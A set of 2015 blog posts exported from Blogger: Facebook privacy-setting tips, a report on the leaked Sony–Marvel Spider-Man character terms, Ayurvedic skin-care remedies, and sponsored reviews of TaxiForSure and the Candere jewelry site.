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<span style="font-size: large;">Look in the left column of the Activity Log to view your search history and click "More" under "Photos, Likes and Comments." Then click "Search" near the bottom of the list. To delete individual entries, you need to click the "circle with a slash" icon and select "Delete." To remove everything at once, you can also click "Clear Searches" at the top.</span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Since there is no way that can prevent Facebook from tracking your search history, so one would need to keep coming back to delete it if you want it to stop searching on Facebook or don't want it to get recorded.</span></div>
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<span style="font-size: large;">You can also view what apps you have installed and what posts they have made on your Timeline at the bottom. To change the settings on who can view the posts the apps make, you need to go to top of the log.</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">Even though you may be fine with your Facebook friends viewing some of your embarrassing posts, you may not be ok to let strangers view something that you may have posted in the past. The reason for that could be that your privacy settings might not have been set correctly in the past.</span></div>
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<span style="font-size: large;">It could take days to change every past post manually from "Everyone" to "Friends". Luckily, Facebook has a faster option. Click the upside-down triangle at the top of the page and choose Settings.</span></div>
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<span style="font-size: large;">In the left-hand column, then click the "Privacy" link. Under "Who can see my stuff?" choose the "Limit Past Posts" link. Then, click the "Limit Old Posts" button to change the privacy setting of every post in your profile to "Friends."</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">One would have to keep in mind that the posts that you want everyone to view will change those as well. You will have to go to change those posts back to "Everyone" manually.</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">Next, go to your Facebook page and to the upper right, click the three dots next to the "View Activity Log" button and choose "View as..." This allows you to see your Facebook page the way a stranger would, or any Facebook user you choose. In this way, you can quickly locate problem posts and change their privacy settings or remove them.</span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">"View as..." is particularly useful if you have set up custom lists. Lists let you select specific friends who can view certain posts.</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">While you are making changes to your old Facebook settings, you may want to take some time to examine the information that you have added to your account. A lot of information is asked by Facebook regarding your life, home address, etc. that you should not probably disclose.</span></div>
</div>
Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-13527377206552874342015-06-25T12:04:00.001+05:302015-06-25T12:04:24.378+05:30Spiderman cannot be Gay says hacked emails of Sony Pictures<div dir="ltr" style="text-align: left;" trbidi="on">
<h2 style="color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif;">
Hacked Sony emails reveal that Spider-Man cannot be 'Gay or Black'</h2>
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<div>
<span style="font-size: large;">Latest details released by WikiLeaks reveals a license agreement between Sony and Marvel defining the strict terms on Spider-Man's sexuality.</span></div>
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<span style="font-size: large;">The Whistleblower website WikiLeaks released a set of fresh documents which contained 276,394 private files, emails and financial data onto its server and in this process it has released some shocking information from the last year's Sony hacks as well.</span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhic84Y1KJeheSU0o6-JFGviF6_fKW11XdvqULAlMenMbIdYs1kxZmkNTNO__8AtGzkG7WP10Z_4bNvj_BOs0JvDn4V_Km0JuGbBbrn3h5LnR4uH4VPqCv1ywLP2GlyDKBCWOzSWYQU9i4g/s1600/spiderman.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Spiderman cannot be Gay says hacked emails of Sony Pictures" border="0" height="228" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhic84Y1KJeheSU0o6-JFGviF6_fKW11XdvqULAlMenMbIdYs1kxZmkNTNO__8AtGzkG7WP10Z_4bNvj_BOs0JvDn4V_Km0JuGbBbrn3h5LnR4uH4VPqCv1ywLP2GlyDKBCWOzSWYQU9i4g/s400/spiderman.jpg" title="Spiderman cannot be Gay says hacked emails of Sony Pictures" width="400" /></a></div>
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<span style="font-size: large;">The fresh information leaked a legal licensing agreement between Sony Pictures Entertainment and Marvel Entertainment which reveals that Peter Parker and his alternate personality Spider-Man should be heterosexual and also Caucasian.</span></div>
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<span style="font-size: large;">The news regarding licensing agreement was first reported by website <i><a href="http://gawker.com/spider-man-cant-be-gay-or-black-1712401879" target="_blank">Gawker</a></i>; however Sony Pictures and Marvel representatives did not comment on this news.</span></div>
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<span style="font-size: large;">The legal contract between Marvel and Sony went into effect in September 2011. In this the comic company Marvel Entertainment has specified certain 'mandatory' character traits of both Peter Parker and his alter ego-Spider-Man. Surprisingly the agreement includes a forewarning that Spider-Man is "not a homosexual (unless Marvel has portrayed that alter ego as a homosexual)."</span></div>
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<span style="font-size: large;">It was in the year 1962 that the character of Peter Parker alias Spider-Man was created by Stan Lee, writer -editor and Steve Ditko, writer-artist. The then Spider-Man first appeared in "Amazing Fantasy #15" wherein he was shown to be an orphan who is raised by his Aunt May and Uncle Ben. The character was portrayed as a teenager who deals with adolescence and is a costume crime fighter who displays super strength and agility, has the ability to clasp to most of the surfaces and can react to danger with his "spider-sense".</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">The mandatory Spider-Man traits listed by the agreement under "character integrity obligations" includes the following:</span></div>
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<img alt="Hacked Sony emails reveal that Spider-Man cannot be 'Gay or Black'" class="aligncenter" data-mce-selected="1" data-mce-src="https://www.frontiersmedia.com/wp-content/uploads/2015/06/spider-man-traits-1.jpg" height="262" src="https://www.frontiersmedia.com/wp-content/uploads/2015/06/spider-man-traits-1.jpg" style="background-color: white; color: #333333; display: block; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 16px; line-height: 24px; margin-left: auto; margin-right: auto; outline: rgb(119, 119, 119) solid 1px; resize: none; text-align: start;" title="Hacked Sony emails reveal that Spider-Man cannot be 'Gay or Black'" width="636" /></div>
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<span style="font-size: large;">Hacked Sony emails reveal that Spider-Man cannot be 'Gay or Black'</span></div>
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<span style="font-size: large;">Male; does not torture; does not kill in defense of self or others; does not use foul language beyond PG-13; does not smoke tobacco; does not sell/distribute illegal drugs; does not abuse alcohol; does not have sex before the age of 16; does not have sex with anyone below the age of 16; and is not a homosexual (unless Marvel has portrayed that alter ego as a homosexual).</span></div>
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<img alt="Hacked Sony emails reveal that Spider-Man cannot be 'Gay or Black'" class=" aligncenter" data-mce-selected="1" data-mce-src="https://www.frontiersmedia.com/wp-content/uploads/2015/06/peter-parker-traits-1.jpg" height="297" src="https://www.frontiersmedia.com/wp-content/uploads/2015/06/peter-parker-traits-1.jpg" style="background-color: white; color: #333333; display: block; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 16px; line-height: 24px; margin-left: auto; margin-right: auto; outline: rgb(119, 119, 119) solid 1px; resize: none; text-align: center;" title="Hacked Sony emails reveal that Spider-Man cannot be 'Gay or Black'" width="636" /></div>
<div>
<span style="font-size: large;">The legal contract further stipulates the mandatory traits specifically for Peter Parker, who should be heterosexual and Caucasian!</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">The detailed stipulations for Peter Parker's character included the following traits:</span></div>
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<span style="font-size: large;"><br /></span></div>
<div>
<span style="font-size: large;">Hacked Sony emails reveal that Spider-Man cannot be 'Gay or Black'</span></div>
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<span style="font-size: large;">His full name is Peter Benjamin Parker; he is Caucasian and heterosexual; his parents become absent from his life during his childhood; from the time his parents become absent he is raised by Aunt May and Uncle Ben in New York City; he gains his powers while attending either middle school or college; he gains his powers from being bitten by a spider; he designs his first red and blue costume; the black costume is a symbiote and not designed by him; he is raised in a middle class household in Queens, New York; he attends or attended high school in Queens, New York; and he attends or attended college in New York City.</span></div>
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<span style="font-size: large;">Marvel's licensing agreement was found to be effective just after a month when a black-latino character, Miles Morales donned as Spider-Man in 'Ultimates' Universe which is an alternate comic line published by the comic company.</span></div>
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<span style="font-size: large;"><br /></span></div>
<div>
<span style="font-size: large;">Actor/rapper, Donald Glover was chosen to do the voice acting for the cartoon version of Miles Morale's Spider-Man version; however he was not able to portray the character in any Hollywood version and now with the disclosure of the licensing agreement it is pretty clear that Glover would have breached the contract and hopefully his fans now know the exact reason why he was not seen in any of the Hollywood versions.</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">This indicates that probably in future if Marvel gives its fans a gay Spider-Man then surely as per the legal contract Sony can make films featuring a gay Spider-Man because "Marvel has portrayed that alter ego as a homosexual".</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">It seems Marvel is ready to cast a white, straight Peter Parker character for its next venture Captain America: Civil War.</span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-79103438795377482542015-06-13T10:58:00.001+05:302015-06-13T10:58:25.830+05:30#ComeCloser to Radiant Skin with Ayurveda<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: large;">Every individual, be it a man or a woman, desires to look good. Today there are a lot of beauty and skin care products available in the market; however besides being expensive these cosmetics may also bring about some side effects which can be really bad in the long run. </span></div>
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<span style="font-size: large;">On the other hand, Ayurveda provides some age old remedies which has been tested and proved to be safe. Our grandmas used to stick to some of the age old herbal remedies to maintain a radiant skin.</span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Ayurveda basically advises a simple three way method of cleansing, nourishing and moisturizing the skin.</span></div>
<h3 style="text-align: justify;">
<span style="font-size: large;">Cleansing :</span></h3>
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<span style="font-size: large;">Take equal parts of chickpea flour and dry milk powder, mix it and take 2 teaspoon of this mixture and make a thin paste by adding little water. Scrub with this paste on wet skin, rinse and pat dry.</span></div>
<h3 style="text-align: justify;">
<span style="font-size: large;">Nourishment and Moisturizing includes using different oils:</span></h3>
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<span style="font-size: large;">Coconut oil is the best nourishment for any type of skin. It is essential that one indulges in self massage or gets a professional massage with coconut oil atleast every fortnight. Massaging helps to provide luster and radiance to the skin and also removes ‘doshas’ as it purifies, nourishes and helps in toning the body at a much deeper cellular level.</span></div>
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<span style="font-size: large;">This method not only helps to nourish but also provides adequate moisture to the skin. </span></div>
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<span style="font-size: large;">Our grandmas were much knowledgeable and they used some of the extremely useful facial packs to enhance their beauty:</span></div>
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<span style="font-size: large;">Turmeric</span></div>
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<iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/8bSd88MNWz8" width="560"></iframe>
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<span style="font-size: large;">This is one of the best ayurvedic ingredient which has anti bacterial as well as anti-inflammatory properties and which really helps when ingested as well as when applied on the skin. Due to its microbicidal properties it acts to combat the problems of pimple and acne. It is a very rich source of antioxidant and hence helps to fight the signs of ageing as well.</span></div>
<h3 style="text-align: justify;">
<span style="font-size: large;">Skin care regime using Turmeric:</span></h3>
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<span style="font-size: large;">•</span><span class="Apple-tab-span" style="font-size: large; white-space: pre;"> </span><span style="font-size: large;">Use it as an exfoliation: Mix equal amount of turmeric, buttermilk, tomato juice and rub it softly on the skin, this mixture helps to exfoliate the skin as well as fights against signs of ageing.</span></div>
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<span style="font-size: large;">•<span class="Apple-tab-span" style="white-space: pre;"> </span>For smoother texture and an even look mix turmeric and honey and apply, this reduces the pore size of the skin and gives the desired result.</span></div>
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<span style="font-size: large;">•<span class="Apple-tab-span" style="white-space: pre;"> </span>Blackhead issue: Make a paste by taking 2 teaspoon of mint juice and turmeric powder. Apply it directly to blackheads and let it air dry. Wash with lukewarm water. </span></div>
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<span style="font-size: large;">•<span class="Apple-tab-span" style="white-space: pre;"> </span>Suffering from stretch mark: Mix turmeric and yoghurt and apply on the marks to lighten it. </span></div>
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<span style="font-size: large;">•<span class="Apple-tab-span" style="white-space: pre;"> </span>Burn marks: Prepare a paste of turmeric and mustard oil and apply it on the burnt area this gives a soothing relief from burns and also helps to reduce the burn marks.</span></div>
<h3 style="text-align: justify;">
<span style="font-size: large;">Cucumber:</span></h3>
<div style="text-align: justify;">
<span style="font-size: large;">Another handy product from the kitchen is cucumber. Besides being a cooling agent this natural ingredient can also help in preventing dark spots, acne and pimples. </span></div>
<h3 style="text-align: justify;">
<span style="font-size: large;">Skin care regime using Cucumber:</span></h3>
<div style="text-align: justify;">
<span style="font-size: large;">Make a cucumber paste by peeling and cutting it and then grinding it in a mixer. Do remember to remove the seeds before grinding. Now add one cup of oats, four teaspoon of milk and two teaspoon of honey to this cucumber paste. Mix all ingredients and apply it your face. Once it gets dried wash it from your face. Use this method every alternate day and see the results. </span></div>
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<div style="text-align: justify;">
<span style="font-size: large;">Besides external skin care, Ayurveda also believes in a strict inner balance of body for cultivating a glowing skin. This can be achieved by proper balanced diet, regular exercise regime, adequate sleep and meditation. Over a period of time inner beauty is the one which shows and enhances overall beauty of a person.</span><br />
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<span style="font-size: large;">However, if you dont want to go into the regimen of making all the above stuff at home, you can try out the ready made <a href="http://www.viccolabs.com/product-turmeric-cream-with-foam-base.php" target="_blank">Vicco Turmeric Cream</a>. It has all the ingredients mentioned above plus more to keep your skin soft and radiant. Vicco has been in my family for eons and has been the secret potion for my mum's and my radiant skin.</span><br />
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com2tag:blogger.com,1999:blog-1778979857251896130.post-35563768943941032462015-06-08T23:33:00.001+05:302015-06-08T23:33:23.585+05:30The first name for reliable, economical, safe and comfortable Taxi service is TaxiForSure.com <div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: large;">TaxiForSure is the easiest way to book or hire a car or cab anywhere in India and at any time of the day. A person can book a cab for sightseeing in the city or say go to airport, hire a car to travel to some sightseeing places with family and friends and also to take them home after a terrific party on Saturday night.</span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilwBX0OFJOrheoVj5HSQE1-7ycJKDIy2OvMme7WEhKIU0iL5ivcR4nbI58TvPfaLfpQVZ5dYy14o8AE46chPdTgq57xAqK5g7Vx5JpRtlpWYXiEKq6CnnqJo-HnKcjhcRQ2-TG0LnhVw-p/s1600/Taxi+for+Sure.webp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="The first name for reliable, economical, safe and comfortable Taxi service is TaxiForSure.com " border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilwBX0OFJOrheoVj5HSQE1-7ycJKDIy2OvMme7WEhKIU0iL5ivcR4nbI58TvPfaLfpQVZ5dYy14o8AE46chPdTgq57xAqK5g7Vx5JpRtlpWYXiEKq6CnnqJo-HnKcjhcRQ2-TG0LnhVw-p/s400/Taxi+for+Sure.webp" title="The first name for reliable, economical, safe and comfortable Taxi service is TaxiForSure.com " width="240" /></a></div>
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<span style="font-size: large;">The idea of Taxi aggregator was first coined by co founders Raghunandan G and Aprameya Radhakrishnan. These two pioneers of TaxiForSure were actually fed up with the Taxi service which is sometimes very difficult to be achieved and hence they thought of starting an innovative service of </span><span style="font-size: large;">“Taxi aggregator for the radio taxi industry in India”. On June 5th 2011, the concept of Taxi aggregator came into existence in Bangalore and by 2013 the services were extended to Chennai and Delhi .</span></div>
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<span style="font-size: large;">The company wanted to empower their customers and thus launched their exclusive Smartphone applications for Android, iOS and Windows platforms. Customers hence had the option to book the cab via calling on the 24x7 customer care number or double tapping on the apps or via Twitter or through the website (TaxiForSure.com).</span></div>
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<span style="font-size: large;">The major objective of co founders was to provide customers with safe, reliable and easily accessible taxi service to the people.</span></div>
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<span style="font-size: large;">In October 2013, the company tied up with Goibibo thus paving its way into providing cabs for airport services in Bangalore and Delhi.</span></div>
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<span style="font-size: large;">The company expanded at a fast pace and reached other cities in India such as Ahmadabad, Hyderabad, Baroda, Surat, Pune, Mysore, Udaipur, Rajkot and many more.</span></div>
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<span style="font-size: large;">What more, now customers can also book auto-rickshaws on call through their apps.</span></div>
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<span style="font-size: large;">TaxiForSure offers the option to hire luxury cars to their customers. </span></div>
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<span style="font-size: large;">On 2nd March 2015, Ola acquired TaxiForSure for $200 million. The co founders assumed an advisory role till mid April to help Ola in the transition phase. The company now operates as a separate entity with Arvind Singhal as its CEO.</span></div>
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<span style="font-size: large;">TaxiForSure.com is the website where customers need to log in and the site is very much user friendly. On the main page customers can find a tab which asks for “Book a Tab” by clicking this customers can choose the city where they need to book the cab. By changing the name of city the landline customer care number changes and shows the number for that particular city.</span></div>
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<span style="font-size: large;">Further, the main page displays “Point to Point service” and the “Airport transfer “ tabs. The Tab has been categorized into Location, Type of Taxi selection and booking confirmation along with pick up area and the destination area, pick-up time and date. In all it has an easy UI and anyone can book the service with ease. On the right hand corner, the fare rates tab is also provided. Users need to register in this site and then book the cab or Taxi as per their need and thus ensure that their travelling is safe, economic and comfortable.</span></div>
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<span style="font-size: large;">For Android users get the app from this <a href="https://play.google.com/store/apps/details?id=com.tfs.consumer" target="_blank">link</a>, whereas, </span><span style="font-size: large;">iOS users can download the app from <a href="https://itunes.apple.com/in/app/taxiforsure/id623268490?mt=8" target="_blank">here</a>. </span><span style="font-size: large;">Windows Phone users can get the TaxiForSure app from <a href="http://www.windowsphone.com/en-in/store/app/taxiforsure/c8cc464e-4987-4059-8ffb-a36e3d115a6a" target="_blank">here</a>. </span></div>
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<span style="font-size: large;">Stop calling multiple Taxi and car hirers and switch to a reliable, safe and economical service of TaxiForSure by calling (o22) 60601010 or by using the apps available at the fingertips. To avails bets offers for TaxiForSure, try <a href="http://picodi.in/taxi-for-sure" target="_blank">TFS coupons</a> to avail best discounts on offer.</span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-68822553057065349142015-06-04T16:36:00.001+05:302015-08-13T10:11:29.801+05:30Explore the beautiful and enchanting world of exquisite, precious, delicate Diamond Jewelry online <div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: large;">Every morning people spend lots of time to decide what to wear and how to enhance their beauty. Somehow, humans are more prone to understand the art of being beautiful, fashion and style. With a perfect blend of jewelry even normal attire would give rich look to an individual which ultimately helps that person to boost their self confidence. A simple cotton kurti worn along with a diamond ring on the finger or a chain with diamond pendant could actually enhance the overall beauty of that female.</span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyb7SpNm30gBjqoJd-CTeMMQYNjjRNaJBby5XjYCzLIeZRDQNldegJcgRM5maU6gfsho_OHwAFLkQneixAtyP9NcEJerodeDAboK8D6uevC91F9dnRtGr4tnF7v0l56eyv_bTniTr7Odix/s1600/Candere+2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyb7SpNm30gBjqoJd-CTeMMQYNjjRNaJBby5XjYCzLIeZRDQNldegJcgRM5maU6gfsho_OHwAFLkQneixAtyP9NcEJerodeDAboK8D6uevC91F9dnRtGr4tnF7v0l56eyv_bTniTr7Odix/s320/Candere+2.png" width="238" /></a></div>
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<span style="font-size: large;">Females are known for their shopaholic nature. They just love to get dressed up beautifully with clothing that mark the latest fashion and also get decked up with one of the best piece of jewelry. Besides the glistening, mesmerizing gold jewelry, females also love the sparkling, shining, exquisite diamond jewelry which gives them a feeling of being special. For ages, diamonds have fascinated not only females but also males all over the world.</span></div>
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<span style="font-size: large;">Today most of the things have moved online, be it shopping for clothing or accessories. Jewelry shopping is no exception to this. Candere is one such online jewelry store which offers a wide range of premium, hall marked, exclusive International designs in the categories like rings, earrings, nose pins, chains, pendants, bracelets etc. </span></div>
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<span style="font-size: large;"><a href="http://www.candere.com/" target="_blank">Candere.com</a> website has been designed with simplicity and easy UI. The main page displays different categories of jewelry available on the top which can be further expanded into sub categories. For instance, if we consider the Jewelry Tab it can be expanded into types of rings, types of mangalsutra or <a href="http://www.candere.com/jewellery/diamond-rings.html?utm_source=Blogmint&utm_campaign=diamond%20ring" target="_blank">diamond ring</a>. etc. Further there is a search option tab which is also provided for faster search. Current offers and discounts are also displayed clearly in the center of the main page along with the <a href="http://www.candere.com/jewellery.html?utm_source=Blogmint&utm_campaign=online%20jewelry%20stores" target="_blank">design of the jewelry</a>, cost along with discount and the code number. </span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG6pjqDDTnGrhtPlOkqCS1Dh6rgGWuu04fyDVBI_0wZM5NP6KYWyEsYFRbgr6UuQc5OFd7zoEto3_nCI6KBLUG0qb58ALTA5SOi1HHYNVOHgEOhkhXXnl1fCSp0DD_d1IM5kF2qMk0VsIQ/s1600/Candere+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Explore the beautiful and enchanting world of exquisite, precious, delicate Diamond Jewelry online " border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG6pjqDDTnGrhtPlOkqCS1Dh6rgGWuu04fyDVBI_0wZM5NP6KYWyEsYFRbgr6UuQc5OFd7zoEto3_nCI6KBLUG0qb58ALTA5SOi1HHYNVOHgEOhkhXXnl1fCSp0DD_d1IM5kF2qMk0VsIQ/s1600/Candere+1.png" title="Explore the beautiful and enchanting world of exquisite, precious, delicate Diamond Jewelry online " /></a></div>
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<span style="font-size: large;">On the left hand side, list of different jewelry items has been organized neatly into sub categories based on the type of stone, the total budget, jewelry for special occasion, color and number of stone and gender based division of the jewelry. </span></div>
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<span style="font-size: large;">Towards the extreme corner at the right hand side is a currency tab which needs to be chosen by buyer to indicate their choice of currency while making payment.</span></div>
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<span style="font-size: large;">Buyers need to register by signing in and then start the online shopping. On the other hand, buyers can also use their social networking sites like Facebook, Twitter, Yahoo or Google accounts to sign into the site.</span></div>
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<span style="font-size: large;">Due to its user friendly UI even older generation people can comfortably check and order for themselves independently.</span></div>
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<span style="font-size: large;">In case buyers want to shop at a short notice then Candere also has a provision of Express Delivery Tab wherein the chosen item will be shipped within 48 hours. Otherwise, normal shipping time is 7 to 14 days. Also all Candere p</span><span style="text-align: left;"><span style="font-size: large;">roducts come with Insured free shipping, Jewelry Certifications and Lifetime exchange. </span></span></div>
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<span style="font-size: large;">Buyers can even opt for “made to order” which would be exclusively designed for the particular individual. </span></div>
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<span style="font-size: large;">Candere provides Jewelry certifications to prove 100% authentication of their jewelry and also life time exchange offers wherein buyers can exchange or upgrade their purchased jewelry. </span></div>
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<span style="font-size: large;">Candere's <a href="http://www.candere.com/jewellery.html?utm_source=Blogmint&utm_campaign=online%20jewelry%20stores" target="_blank">online jewellery store</a> gives amazing customer service promises 30 day return service on goods provided within India in case buyer is not satisfied with the product . The shipping is free of cost for Indian customers. Further the products are all insured and available on easy EMI options. </span></div>
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<span style="font-size: large;">Candere accepts the payments through Credit card, Debit card, Net banking, Cash on Delivery hence overall it provides easy payment options. </span></div>
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<span style="font-size: large;">Last but not the least, Candere also provides its clients with a customer support 7 days a week from 9 AM to 9 PM besides buyers can also contact them via emails or online chatting and can be sure to get their doubts answered promptly. </span></div>
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<span style="font-size: large;">With awesome discounts and deals presented round the year on most of the gemstone and diamond jewelry Candere is one of the best online sites for jewelry shopping. </span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0